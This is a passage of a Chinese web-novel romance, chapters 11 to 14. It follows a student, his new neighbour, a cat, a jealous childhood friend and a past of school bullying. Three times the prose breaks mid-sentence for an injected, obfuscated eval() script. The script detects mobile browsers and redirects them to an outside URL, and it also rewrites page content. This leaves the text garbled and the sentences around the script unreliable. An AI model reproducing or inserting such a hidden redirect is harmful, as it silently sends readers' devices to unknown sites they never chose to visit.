顾放看见他从兜里掏出奶糖扔进嘴里,继续趴着了,还能不能睡着是个问题。 贺铭非做什么事都高调,生怕别人不知道夏洄就和他关系好一样。 不就翻墙出去买冰淇淋,有什么好这么大阵仗的? 他好哥们还坚持两年一天不落地在兜里揣着一颗奶糖,就是怕下次夏洄临时晕倒了。 路柏言放下手中的猫,一言不发。 暗恋比先告白者在爱情里的地位还要被动。 他放不下也不想放,就看时间会给他什么答案。最后无论输赢,他还有一只猫。 门铃响了。 顾放抬起头看向路柏言,两人对视一眼,路柏言去开了门。 门口是夏洄。还好是他来开门。 夏洄看到路柏言出来,第一句话是:“你家还有人么?” “我兄弟在。” 路柏言说完把门关上了。 “抱我一下。” 路柏言以为听错了,“什么?” “抱我。” 下一秒夏洄被搂进了干燥的胸膛。 路柏言心跳有点快,甚至不敢问原因。 他比夏洄高半个头,夏洄鼻梁磕在他肩膀。他能感受到夏洄鼻尖轻轻蹭了下。 “我很喜欢你身上的香水味。” 有种冷冽的苦柠香。 路柏言抱得更紧了。 到底是谁没睡醒? 他好像也没顾放说得那么惨。 11. 亲鼻梁 第11章 台风天要来了,雨一直下。 夏洄生日也要到了。他并不喜欢每年生日落在这个时候,为什么不是身份证上早一个月的日期?那样就不会碰到台风来临前的雨季。 夏洄喜欢晴天,讨厌下雨天。他会在这个阴湿的天气练舞,玩音乐或是绘画,总之干任何喜欢的事来调解雨水带来的低闷。 路柏言此刻享受着和喜欢的人在喜欢的天气里干喜欢的事。 喜欢的事不是安静地坐着。如果夏洄不在,他并不喜欢这样浪费时间。 在漫长的梅雨季节里,路柏言曾观察记录老屋子阴湿角落里的苔藓,看它们从一点慢慢扩张蔓延,直到侵-占了整个角落,到处都是夹缝阴暗里的绿色,散发潮湿死沉的气息。 而那一刻他的心却是满的,仿佛是他侵-占、拥有了整片领地。 他的第一次春-梦便是这样。在耀眼灯光下跳舞的漂亮男孩退场后晕在他怀里,被他悄悄背到出租屋。 大雨滂沱的天,他低头亲吻男孩如冷玉的指节,交-代在他嫩白的掌心。 那晚他搂着男孩入睡,他侵-占拥有了整个世界。 手忽地被拍了一下,温暖的指腹擦过他手背。 夏洄喊路柏言两次了他都没反应,干脆拍了他手,没想到他直接应激似的站起来。 夏洄用奇怪的眼神看向路柏言,路柏言心虚,缓了几秒问怎么了。 嗓子有些奇怪的哑。夏洄眼神更奇怪了。 路柏言低头看夏洄的手指,梦就是梦,夏洄的手指看上去像冷玉,实际上一点都不冷。 “贝宝平时吃的猫粮给我看一下。” 他们没抱多久,夏洄把路柏言推开,他想进屋看看贝宝。 路柏言有些怅然。 进来后顾放说有事先走了,马不停蹄拿起沙发上的外套就走了。 贝宝的猫粮都被整理摆放整齐在一个白色细框小推车里。 路柏言家里很干净,有人进来都会因此对路柏言这个人有点好印象。 夏洄家里有点乱,他东西用到哪儿就放在哪儿,从来不整理。 他觉得路柏言家很干净,然后就没了别的想法了。 他对其他人也这样。他们说贺铭非身材很好,男生看也迷糊,他看到过,是很好,但没迷糊。 “主要是这些。” 这些都是减脂猫粮,主要是国产的,夏洄家里还有点进口的减脂粮,味道要好些。下次就拿过来。 贝宝趴在夏洄的大腿上睡觉,路柏言在夏洄旁边坐下来,高而挺拔的身躯投下一大块阴影,贝宝睁开眼,用爪子打了他一下。 在贝宝缩回爪子之前,路柏言用更快的速度抓住他爪子,这样的动作让他得以和夏洄靠得更近,肩膀都挨到一起。 夏洄喜欢他身上香水味,就让他靠这么近了。 “我知道下周是你生日,我想送你一份生日礼物。” 夏洄抬眸看向路柏言,“我不缺什么。” 这是实话。他没缺过东西。小时候生日礼物想要星星,他姑姑就给他买了一颗天上的星星,命名为[溯宝星]。 他并不在意生日仪式感,因为要控制体重这些年生日蛋糕都省了。发小送到最后没有可送的礼物,会问他需要什么礼物,他说陪他吃一顿饭就好。 路柏言其实早准备了礼物。可惜没抢到。夏洄一直有一支很想要的长笛,他攒够了28万,可惜就差点运气,没抢到。 他只能说:“所以我想问你需要什么啊,或者需要我满足你任何要求都可以。” “如果你想要贝宝也可以哦。” 夏洄把贝宝两只耳朵捂住,“下次不要这么说了,贝宝听得懂的,他会难过。” 在救助站和猫咪打交道惯了,夏洄认为猫咪是有灵性的,所以他会把指代词写成“他/她”。 果然,贝宝又拍了路柏言一下。 路柏言笑得吊儿郎当的,眉眼间带痞气,“我就对你说过呀。” 夏洄看了他一眼,总感觉刚才抱过后,路柏言的兴致似乎很高很高,以前不带语气词,现在啊呀哦尾音拐着勾儿。 “什么要求都可以?” “嗯嗯。” 夏洄眼睛轻轻眨一下,“不要问我刚才那个抱的原因。” 路柏言本来就没想问。好事不需要原因。 “就这个?” “就这个。” 他有些失望。 夏洄没注意到他的情绪,接着说,“因为下次可能还要抱我一下。” 这大喘气让路柏言像是在坐跳楼机。 他手撑在沙发上,脸微微往下低,高挺的鼻梁就要挨上夏洄细软的发丝。夏洄身上有股柠檬的清新香,留香珠或洗衣液的味道。 他只用身上这一款苦柠香的香水,第一次试用时,他觉得夏洄会喜欢。他猜对了。 夏洄正在替贝宝顺毛,察觉到有片阴影投下来,他抬头,嘴唇亲到了路柏言的鼻梁。 唇是软的,鼻梁骨是硬的,还很湿润,有点甜味。因为夏洄刚吃了一块茶几上的水果糖。 “你怎么突然离这么近?” 夏洄看着路柏言,注意到路柏言的耳朵有点红。 路柏言捂着鼻子,摇头,“没、没事。” 然后一股红色的液体就从他指缝中溢出来。 他流鼻血了。 夏洄吓到了。他忙拿起茶几上的纸巾盒,路柏言头朝后仰。夏洄掌心放在他后脖颈,让他自然低头。 路柏言想起他曾经在梦里玷污了夏洄冷玉般嫩白的手掌,他耳朵更红了。 今天太刺激了,又抱又亲。这么多年他哪里过过这种好日子。 血迹滴到了衣领上,还是白t。 “血干了会比较难洗,你现在要不脱下来我给你拿冷水冲洗。这样血就不会渗透到纤维里。”夏洄说,“我第一次流鼻血,血沾到了衣服上,我爷爷就这么做的。” 脱衣服意味着要把上半身露出来,路柏言动作有些僵硬了,“没事,我有双氧水。” 夏洄的手机响了,搁在茶几上,他和路柏言都看到了屏幕上跳跃的[贺铭非]。 路柏言眼眸沉冷下去。 夏洄暂时没理。他弯腰帮路柏言擦掉脸上他自己看不到的血迹。 路柏言以为是不想让他听到私密通话。 因为夏洄给他擦完后,很快拿起响第二遍的手机打开门,走了出去。 不忘回头对他说,“我朋友来了,我先回家了。你再自己处理一下。” - 贺铭非忘记了夏洄家的密码。试了一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749416|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错了,他摁门铃也没人在。最后打了电话。 他没想到夏洄是从他背后的那扇门出来的。 他拧眉,“怎么跑到新邻居家去了?” 还不知道新邻居是谁,早早就给他不安烦躁的感觉。 夏洄输入密码打开门,没什么情绪地解释,“去看他家的猫。” 抱一下,然后看猫,不小心亲到猫主人,结果猫主人流鼻血了。 他应该只是嘴唇磕到了,牙齿没有吧? 夏洄是学校猫猫狗狗救助站的负责人,路边看到任何一只流浪猫都要上前看需不需要帮忙。贺铭非暂时压下心里的烦躁。 来之前严宵和他打过电话,严宵现在拿路柏言没办法了。 因为他爸出尔反尔,没有像最早答应的那样,送私生子出国留学。不知道路柏言使的什么手段留下来。 严宵咽不下这口气,他本来就因为高考失利去了外市上大学。回家都得看他爸的脸色。说他是个废物。 他说下周雇人教训路柏言,不然他觉都睡不好。 他失去理智了。贺铭非骂他有病。还以为是初高中,一句话就能压下去的时候? 夏洄关上门,贺铭非拿着一个细长的礼物盒站在他身后,不往前走,欲言又止的模样。 “想说什么?” 贺铭非还是想问新邻居是谁。 听到他的问题,夏洄一边扶着墙换鞋,一边很自然地说,“你同系的学弟。” 贺铭非眼皮跳动。 “路柏言。” 啪嗒,长条礼盒摔在了地上。贺铭非双手握住夏洄单薄的肩,“他没对你做什么吧?!” 夏洄眼神变得审视:“我觉得你现在有点奇怪。” 虽然贺铭非平时也不是个沉稳的人。 夏洄看上去没有任何伤口和被下药的症状。贺铭非松了口气。 他得逼路柏言搬出去。他绝对不会让路柏言伤害报复到夏洄头上。 路柏言是个阴暗狠戾的人。他为了替自己的外公报仇,把人引到狼群出没的山上,最后只有他自己下山了。 - 夏洄走后。周围还有柠檬香的气息,路柏言鼻孔堵着两团纸,血慢慢不流了。 他沉默良久,把白t脱下来,贝宝从猫砂盆那边跑过来看他。 看到他半边肋骨的区域没有一块好皮肤,与另一边完好的肋骨皮肤相比,皱皱巴巴的,大面积烫伤后白色蜈蚣般的伤疤,很多年的痕迹。 贝宝眼珠子颤抖,往后退了两步,像是被吓到了。 路柏言一把把他捞起来,捏他的脸,“还敢嫌弃你爸爸丑了?嗯?你没资格嫌弃,看看你自己都胖成球了。” 贝宝挣扎要逃走,路柏言用臂弯桎梏住他的脑袋,笑得有几分戾气,“不准嫌弃老子。” 学校论坛里还挂着路柏言的照片,各种角度的,这张脸挑不出任何瑕疵。 他打篮球时就算汗流进了眼角后酸涩,他也不会撩起衣角擦汗,一起打篮球的队友笑骂他是男德班班长。 他本来就不想撩,还有个原因,撩起来大家都会发现他是个丑八怪。 路柏言现在有些苦恼。 今天夏洄对他又亲又抱的,哪天他们要是在一起了,那他每天上床关着灯做-爱,夏洄会不会觉得他是个傻逼? 12. 反差 第12章 夏洄觉得今天的贺铭非有些反常。 他这个发小从小人脉很广。路柏言是七中出来的,虽然他以前不知道七中有这号人,但贺铭非高中在学生会工作,路柏言年级第一和辩论赛演讲赛冠军都需要和学生会打交道,领取奖品和奖状,肯定比他早认识路柏言。 看贺铭非一言难尽的表情,夏洄不禁想弄个清楚,“你和他有仇?你表情感觉很不喜欢他的样子。” 贺铭非收了表情,无所谓笑笑,“哪有,都是一个学校出来,现在还是同系的学弟。” 夏洄很平淡地哦了声。 因为他问的时候都不相信自己的判断。路柏言挺好的,答应不好奇为什么要抱就没多问,连表现想问的欲望都没有。 贺铭非话说一半留一半,接着来个大转弯,欲言又止的模样仿佛可以让他接下来的话有那么几分可信度。 “就是吧,他为人道貌岸然、表里不一、笑里藏刀,不太适合深接触。” 道貌岸然表里不一,夏洄不确定。因为这两个是得被背刺了才能得出来的教训。他目前没有被路柏言背刺过。 笑里藏刀?这个夏洄可就要好好说说了。 他这人有个习惯,喜欢看着对方的眼睛说话。 因为小时候比较内向,起初上台和爸妈一起表演时看着台下乌压压的人双腿发软,怎么弹怎么错,妈妈训练他以后每次看着对方眼睛说话,无论说什么话,除非ta先挪开视线。甚至还让他盯着动物园的眼镜蛇的眼珠子看。 慢慢地,无论对方长相多么凶神恶煞,他都能很平淡地看着他。然后就开始流传起他性子很冷淡。 不过他长大后发现直勾勾盯着别人并不礼貌,于是会侧点目光。他和路柏言在一起时,路柏言有时可能被他盯得太直白了,眼神会有些躲闪,偶尔耳尖会红。 笑起来时,狭长眼角会荡开温柔的弧度,给夏洄的感觉就像是泡温泉那样舒服。 他看不到刀在哪里。 发小说的话和自己与路柏言这不到半个月相处时间的判断相左。这让夏洄更好奇了。 “你和他认识很久?” 贺铭非说没有啊,“就是听之前学校里有人说过。” 这种话模棱两可,再怎么样也能在听者的人心里扎下一根小刺,或许下次碰到一点点不好的事,就会联想到这句话,然后反应过来,难怪有人这么说。 “以后稍微小心点吧溯宝,不要和他走太近。” 贺铭非的轻声细语让夏洄也不能说什么。 他现在和路柏言才认识不到半个月,也没办法信誓旦旦说路柏言一定是好人。 但他从来只相信自己的判断。 地上的礼物被捡起来,贺铭非递给夏洄。 “打开看看。” 贺铭非看向夏洄的眼神饱含自信和期待。自信夏洄一定会喜欢。 发小的礼物都直接拆开,不整国内那套表面矜持。 其实看到这个礼物盒的形状,夏洄心里有点数,可能是一根笛子。他书房里有一面墙全是收集的乐器,还有18世纪的古董小提琴。 他打开,里面果然躺着一根长笛,金色的,是他高中心心念念抢了两年没抢到的那支。 这是国外小众品牌,每年全球限量发行100支,纯靠运气摇号,抢到难度堪比珠穆朗玛峰登顶。 夏洄很开心,但没自己抢到那么开心。 这支笛子的价格颇贵,28万,当然他可以买得起,因为零花钱很多,但贺铭非不一样,他爷爷管着他的花销。 “你现在不会没多少钱了吧?” 贺铭非去年用一点积蓄炒股赚了钱,并不多。 “还剩点,反正我爸妈不能让自己儿子饿死。” 贺铭非没所谓笑笑,不放在心上。 “你不买坦克300了?” 贺铭非家里家财万贯,不过爷爷一言堂,对男孩子统一穷养,想要车子可以,自己想办法买。贺铭非想在20岁拥有一辆越野车。他和夏洄约好了明年暑假一起去大西北。 这个贺铭非更不在乎了,“还有差不多一年,我攒攒还是可以的,毕竟答应了你一起去大西北啊。” 夏洄没再说什么,他默默地在官网预约了一辆坦克300。要是贺铭非攒不到,他就送给他。 - 庄丽和裴晓培前天晚上去了酒吧回来后忙了起来,似乎有了新恋情。不用贺铭非支开,他们也有不在的理由。 他们也准备了礼物。丽姐送的是她回国前特意去柠檬小镇所在的岛上买的柠檬周边,冰箱贴风铃香皂陶瓷,还有一套手绘柠檬釉餐具。 夏洄有收集餐具的癖好。他装个柠檬片都要挑用哪个餐具。 裴晓培送的是香水,正好就是尼罗河花园。夏洄很久没用这个牌子,他试喷在手腕上,嗅了一下,感觉没有路柏言身上的好闻,少了冷冽感。 背后突然被抱住了,贺铭非胸膛贴在夏洄的脊骨,看见他动作,贺铭非问,“怎么还放回去了,我记得你之前不是还用过这款香水?” 夏洄没回答这个问题。贺铭非的体温比路柏言的要高,两个人抱他的时候都很紧,松不开。 他也不问为什么抱上来的原因。他下次还要抱呢。他可不指望别人问他原因。 两个人点了私房菜的外卖,一起在餐桌上吃完看了会儿电影,夏洄午休时间到了,贺铭非也有事就先走了。 他从夏洄家里出来没有径直坐电梯下楼,而是敲开了对门。 路柏言似乎猜到是贺铭非,开门时眼神沉冷,他能嗅到贺铭非身上还有夏洄的气息,两个人待了那么久。 贺铭非开门见山,如鹰隼盯着路柏言,但态度完全不把他放在眼里,“你是选自己滚还是我让你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749417|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滚?” 路柏言突然搬到夏洄对门绝对不安好心。初中这小子被严宵的人抓到尾随夏洄,被打了一顿后还他妈跟着。 他们打的人泼的水,却盯上了毫不知情的夏洄,阴险到这个地步。还真是道貌岸然。 两个人身高差不多,路柏言上下扫了贺铭非,不仅没把贺铭非放眼里,还看他像在看一无是处的尘埃。垃圾是放错位置的宝贝,尘埃就纯是垃圾了。 他嗤笑,“你有什么值得的地方?” 贺铭非感觉这句话话里有话,总之让他很不舒服,他脖颈爆出青筋,拳头捏紧。 路柏言表情不变,甚至更轻飘飘,贺铭非可能下一秒就要往他脸上揍了,他却表现得像是要喝咖啡了游刃有余。 “在这里打?你是终于幡然醒悟,让夏洄看看你私底下多恶心了?” “你自己就很恶心了,阴鬼一样跟着夏洄。” 路柏言露出个大大的笑,阳光灿烂,“是啊,我死都不会放过他。” “慢走不送。” “你——” 贺铭非没来得及说什么,面前的门嘭地关上了,给他吃了一鼻子灰。 操。给他等着。 - 假期结束后返校。夏洄是学校猫猫狗狗救助站的站长。这两天学校会组织一次义卖活动,救助站也报名参加了。 每学年救助站都会在这时候招新,这类工作由副站长负责,夏洄主要负责拉投资,搞策划,亲力亲为。 救助站经费流转不过来,他就自掏腰包。救助站的人都对站长忠心耿耿。 站里有蠢蠢欲动想追站长的,但犹豫纠结,因为夏洄性子冷淡,往往聊不了几句就散了。更何况夏洄和贺铭非的关系很暧昧,虽没有官方认证,但感觉是真的。只好作罢。 义卖要搞点噱头才能吸引人到摊位,夏洄打算现场表演。 站内多的是腼腆内向的人。那他自己出马抛头露面。 “站长这是今年的新成员简历,”副站长把一沓纸放在夏洄办公桌上,“嘿嘿来了个超级帅的,计算机系草,我感觉他都可以当校草了。” 八-九不离十是路柏言。夏洄翻阅那几张简历,果然在最后一张看到了路柏言的一寸大头照。 路柏言面对镜头和平时相处气质完全不一样。平时在他面前,温柔爱笑,手抖耳尖红,有些社恐的腼腆。 大头照上,路柏言一绺黑发微垂在薄薄的眼皮,嘴角平直,没什么表情看着镜头。夏洄盯着他那双漆黑的眼眸,突然想起了在动物园和眼镜蛇对视的体验,那样阴冷,天生带着锁定猎物咬住不放直到拆腹入骨的耐心。 这个无端联想让他立马放下了这份简历。 “道貌岸然、表里不一” 夏洄同学,不可以以貌取人,这样不好。 夏洄在心里告诫自己。除非将来让他亲眼看到。 13. 担忧 第13章 假期前,校内猫猫狗狗救助站在招新,路柏言第一个投了简历。 救助站招成员的条件只有一个:欢迎任何热爱猫猫狗狗的同学。 默认要在简历里体现你平时是怎么和猫猫狗狗相处的,要体贴细腻,照顾他们时要格外有耐心。 这点对养了贝宝的路柏言来说不在话下。又懒又馋,脾气差的吃货布偶猫在他精心照料下朝着健康卫生的康庄大道稳步前进。 他顺利进入了救助站。可惜第一天欢迎新人的不是站长。站长日理万机,那天和校外的赞助商谈新一年的合作去了。 副站长在介绍救助站的历史发展,欢迎新成员加入。路柏言在走神,他想到底是谁还需要夏洄亲自赏脸去谈合作,这还需要谈? 一连三天,路柏言有空就来救助站,可惜没看到站长的影子。 不过他和站内成员都打好了关系。大家一开始不敢主动接近路柏言,因为看着很冷漠,但没想到路柏言会和他们主动交流,主动帮忙。三天下来,大家对他的印象都很好,路柏言想问什么都热心回答。 于是路柏言顺理成章问到了很多夏洄的事。 原来假期后夏洄不仅要照常上课,还要忙救助站拉赞助的事,还要筹备新一届的舞蹈大赛,要和指导老师设计舞蹈排练。所以格外忙碌。 副站长怜爱道,“昨天我看站长都有黑眼圈了,站长明明可以让我们自己去拉赞助的。” 夏洄是大一上学期加入救助站的,因为认真负责,凡事把猫猫狗狗放在首位,不到半年就成了新的站长。 夏洄是个高能量高效率不内耗的人,以前无论事情再多,他都能按时睡觉。 可现在他有会导致他失眠的渴肤症。晚上没睡好,白天效率就会差,但要做的事自己不会完成,恶性循环。 义卖活动开幕这天,夏洄起晚了。闹钟订的六点。因为要早点到摊位集合准备。 昨晚失眠到四点,他眼睁睁看着时间一点点流逝,听asmr助眠也不管用。早上睁开眼起来已经八点多了,他洗漱穿搭完匆匆赶来摊位。 路柏言没有夏洄的联系方式,他看着副站长一连打了几个电话,夏洄那边都没动静。 他拿起外套准备回家看看,他早上六点出门时本来想敲门喊夏洄一起出发,但太早了,他希望夏洄能多睡会,他来做夏洄本来负责的那部分准备工作。 这时夏洄一路狂跑过来,风吹起他的额发,白净的额上布满细汗,跑到摊位时喘着粗气,脸上是黏糊糊的汗,衬得他眼睛格外亮,有碎光一样。 “抱歉我起晚了,现在大家情况怎么样?” 夏洄重重喘着气,环顾摊位的四周,好像大家准备得差不多了。 副站长笑着说,“放心吧站长,一切尽在计划中呢,路柏言很早就来了,他一个人能抵三个人用嘿嘿。” 夏洄还在找路柏言在哪儿呢,头顶上传来轻声细语,“学长吃早饭了么,我给你准备了三明治和牛奶。” 他转头看,还得抬眼向上看,才对上了路柏言垂眸看向他的温柔带笑的神情。 夏洄哪里来得及吃早饭,“是有点饿了。”他从路柏言手中接过来三明治和牛奶,说谢谢。 出乎他意料的是,它们还是刚刚加热好的。 路柏言远远看着夏洄跑过来,就放进微波炉加热了。 路柏言穿着围裙,因为在帮忙做手工饼干。 手工饼干的图案是萌萌的猫猫狗狗大头照。救助站现在共有14只流浪猫猫狗狗,夏洄为他们每一只亲手设计了卡通大头照,然后做成了模型。 夏洄擦掉了满脸的汗,然后拆开三明治大口咬,吃得有点快,因为义卖要开始了,要来顾客了。 在夏洄印象里,路柏言刚加入救助站就几天,但似乎和大家一见如故那样关系好。 路柏言天微微亮就来了,第一个到的,副站长第二个,她来的时候,桌子椅子遮阳棚这些重东西都被路柏言摆好了。 “真的太强了,也不见累的,新人就是干劲满满。”副站长和夏洄说了这些事。 毕竟是没有任何报酬奖励的事,新来的成员任劳任怨做这么多,当然也要让来晚的站长知道嘛。 有个舞蹈系男生听到了,笑着说,“要不然军训第一个站出来挑战教官的变态体能测试呢,最后还通过了,我们路哥就是有实力!我当时在隔壁就看着他们计算机系多休息了一小时呢,羡慕死了。” 另一个人接话,“哇牺牲自我造福全系,好伟大。” 他说完,夏洄抬眸看了眼路柏言,他正在端新鲜出炉的手工饼干。 路柏言注意到夏洄的目光,轻轻笑了。 其实那天,不知道哪个兔崽子造谣夏洄会到 隔壁的舞蹈系看学弟学妹。结果完全没来。 那个挑战属实变态,他小腿差点抽筋。他耍帅装酷成了军训场上的神话。第二天腰酸背痛,顾放说他的行为等同于对空气使劲抛媚眼,累不说,捞不到半点关注。 路柏言低头把饼干放在桌上摊凉装袋,一只手毫无预兆搭上他脊背,柠檬留香珠的气息靠近。 他全身肌肉线条在此刻僵硬起来。夏洄倒没察觉,他脸颊挨着路柏言的手臂,凑上来看他手里的手工饼干。 “那天后你应该没流过鼻血了吧,我查了一下,好像是换季过敏,这几天还好吗?” 居然还查了这种事。路柏言有种错觉,他在夏洄心上已经有点位置了。 并非换季过敏。不过他只能承认是。 “没事了,只是,”路柏言顿了下,夏洄看着他,问只是什么。 路柏言眼神如深水波动,抑制不住的情绪外露,“只是我好几天没能看见你。” 这句话跟说我很想你有什么区别。 “哦我最近有点忙,你有什么事要找我吗,可以微信说的,嗯不对,我们好像没有加好友,”夏洄掏出手机,“你在救助站的群里吧,我们现在加一下。” 群里都有备注,夏洄找到了路柏言,发送了好友申请。 他在路柏言的个人资料界面停留。 路柏言的昵称是[拉布]。夏洄最喜欢拉布,小时候爷爷买了周边玩偶给他,现在还摆在他卧室的床上。 头像是一只手摁在贝宝毛软的肚皮上,贝宝歪着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749418|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑袋看镜头,可爱。 夏洄直言不讳,“我喜欢你的昵称和头像。” 路柏言牵起嘴角,却不是很开心。 怎么说呢。就算他现在对夏洄说“我喜欢你”,夏洄可能会回一句,“是吗?我知道了。” 是感情迟钝?还是不想回应? 这种患得患失的感觉真的难受。 - 上午的义卖活动很顺利,手工饼干基本全卖出去了。 中午临近饭点,贺铭非过来摊位这里找夏洄,约他一起吃饭。 夏洄扫了眼救助站的大家,“一起去吧,我在附近的饭店订个包间。” 贺铭非一言难尽,凑近夏洄小声说,“今天我就想和你一起吃。” 夏洄不理解,“有什么区别么,等会儿你坐我旁边吃也行。” 路柏言听不到他们在说什么,不过贺铭非脸色青了又白,挺精彩的。 心情好点了。 到了饭店,夏洄接到了姑姑打来的跨洋电话。于是他让其他人先跟着服务员去包间,他去楼梯间接电话。 姑姑那里是早上刚上班的点,不过姑姑是公司总裁。 “溯宝我今天刚邮了礼物给你,还有你哥哥姐姐的,你最近过得怎么样,没有烦心事吧?” “嗯没事。” 按照姑姑的性子,要是夏洄现在说他有些心理问题,得了破坏他生活规律的渴肤症,姑姑能立马飞到国内,把他接去看心理医生。 姑姑说了些话,让他好好照顾自己,这熟悉的感觉,夏洄怕她说完突然转一大笔零花钱,像上次那样。立马说,“姑我要和朋友吃午饭了,他们还在等我,先这么说。” 姑姑嘴上说着好嘞好嘞,下一秒,夏洄来短信了,显示他的银行卡刚入账一大笔钱。 跳出来一条新微信:[宝贝,姑姑永远爱你哦] 估计姑姑知道他爸妈双双出轨的事了,早就知道了吧,所以最近频繁打电话,零花钱给得一次比一次多,生怕他受委屈了。 夏洄回到包间,最后一个到的。圆桌上只空了一个位置给他。 夏洄看了眼路柏言,又看了眼贺铭非,最后在他俩中间的位置坐下来了。 其他人感觉路柏言对站长很好。说得过去。因为路柏言还是站长的高中学弟。 可贺铭非就不理解了。要不是包间这么多双眼睛,他都要怀疑路柏言给夏洄盛的饭,倒的饮料里下了毒。 这是在接近毫不知情的夏洄,博取信任,然后好找机会伤害? 夏洄饿坏了,昨晚也没睡饱,他埋头吃。旁边一左一右两个人,一个给他剥虾,一个给他敲螃蟹。 他碗里堆成小山,“你们也吃啊,我吃不下这么多。” 贺铭非不可能让路柏言得逞。想要对夏洄示好亲近他?不可能。他会对夏洄更好,夏洄不可能因为小恩小惠就被骗走。 结果这么多还是吃下去了。夏洄自己惊呆了。 他的食量现在变得超乎他想象。可是马上还要比赛了。体重变大了,舞蹈的平衡性肯定受影响。 要是他旁腿上不去到一半摔了,老师绝对会骂死他的。 14. 雨转晴 第14章 一小时后,一行人从饭店出来。这里离学校有段距离,来的时候是坐地铁来的,吃饱饭后反而懒洋洋的不想动,回去改成坐出租车了。 “等会儿我们坐一辆车回去吧,就我们俩。” 最后四个字落音有些轻,却无形中勾了一下。 贺铭非心跳加速起来。难道是夏洄怜惜他没能单独吃饭,所以满足他单独待在一起的欲望? 他连忙说好。 车来了,夏洄喊贺铭非上车,随后关上了车门,对其他人说,“我们先走了,大家中午好好休息,下午再继续。” “站长也好好休息!” 许多人异口同声说拜拜下午见。 除了路柏言。 副站长回头看见他的脸色,在心里吓了一跳,感觉阳光的路同学此刻又回到了看简历照片给她的阴暗冷血印象。 现在明明没有刮风下雪,她站在路柏言身前,脊背爬上寒意。 路柏言薄薄的眼皮半垂,视线没有聚焦点,十分冷淡,不带任何情绪地说,“我有事先走了。” 他自己上了一辆车,剩下其他人拼车回去。 在车上,夏洄和贺铭非肩靠肩坐在一起。 手被牵住时,贺铭非能清楚感受到夏洄掌心的纹理,滑嫩的皮肤,细长的指节,没多少肉的骨骼感,握起来却格外着迷。 他朝前看了司机一眼,完完全全是陌生人,这辈子或许都不可能见第二面。 于是他把手牵得更紧,两个人掌心严丝密合。 夏洄动了动指节,“太紧了,会出汗。” 贺铭非松了些力道,夏洄的手指勾着他的。 柠檬片在冰镇气泡水中会分泌甜味,从味蕾到心脏蔓延。这种感觉太美好,贺铭非一时间忘记问为什么突然牵他手。 他想问时,夏洄两片嘴唇上下动了,语气平淡,却很有力量,“不要问。” 那就先不问。 夏洄知道再这样下去,贺铭非迟早要问。他得想个办法。 - 上午的夏洄死气沉沉,下午救助站的老成员们发现,站长似乎又回到了一个月前的活力满满的状态。 夏洄得渴肤症也就这个月的事。在发现他爸妈的丑事后。 而相对应,很奇怪的是,今天六点就到现场,一上午元气满满的路同学下午沉默死寂得可怕。 站长和他说话时,他并不会这样。 这可是人见人爱的站长,当然不可以用糟糕的态度对待! 副站长悄咪咪和站长大人说了路同学的奇怪之处。 夏洄倒是没注意到,他和路柏言说话时,他和平时没差啊。 路柏言一个人在角落里低头包装冰箱贴,夏洄盯着他背影看了会儿,不知道是不是树影正好倒映在他身上,路柏言此刻一言不发,低头默默干活的样子,……似乎有些孤独委屈? 路柏言第一次见到信中的“溯宝”是在初一。 那时候他刚从穷山恶水的大山来到京州,这座财权集中、纸醉金迷的城市,一切都是那么陌生而有趣。他会见到溯宝,他会在这片土地上努力得到想要的一切。占有征服的欲望溶进血液,尚处于青涩年纪的他兴奋而刺激。 他一向是不服软的性格,气场锋芒毕露嚣张,入学后懒得和任何打交道。 他只想和溯宝交朋友。 他不主动惹人,倒是别人先看他不爽打他辱他,他就双倍奉还,哪怕鱼死网破。很快没人敢碰这个不要命的疯子。 他第一次被严宵和贺铭非霸凌也是这个时候。 几个人压着他双手和脊背,他被迫跪在地上,严宵用脚踩他的脸。他却瞪着贺铭非。那时他刚知道,原来溯宝名字里没有溯,难怪那么久没打听到。 贺铭非把烟头烫在他手臂,骂他婊子生的,看一眼都嫌脏。 食堂有免费的汤,在一个大桶里,很烫,每次需要放一会儿才能喝。他怎么也想不到,严宵和贺铭非那群人经过时,那个汤桶怎么就正好朝他倒下来。 外公惨死他没哭,被打得像死狗他也没哭,外公说男人天生不能哭,哭是懦弱者的借口,毫无作用。可那天他倒在倒塌的汤桶旁边,哭得不成样子,因为太痛了。 先来后到,这是他最讨厌的词。没有之一。 贺铭非就像天龙人,他只是投了个好胎而已。他不配站在夏洄旁边。 “嘶”路柏言抽出新的卡片,却在走神时被锋利的边缘割了。 “被割到了么?” 夏洄不知道何时出现在眼前,路柏言不甚在意地把指腹上的血擦掉,故作轻松笑着说,“第一次亲身体会到纸也是会割手的。” “你有烦心事的话,不妨和我说一下。” 路柏言勾唇,这回是真笑,“站长还负责成员的心理疏通么?” 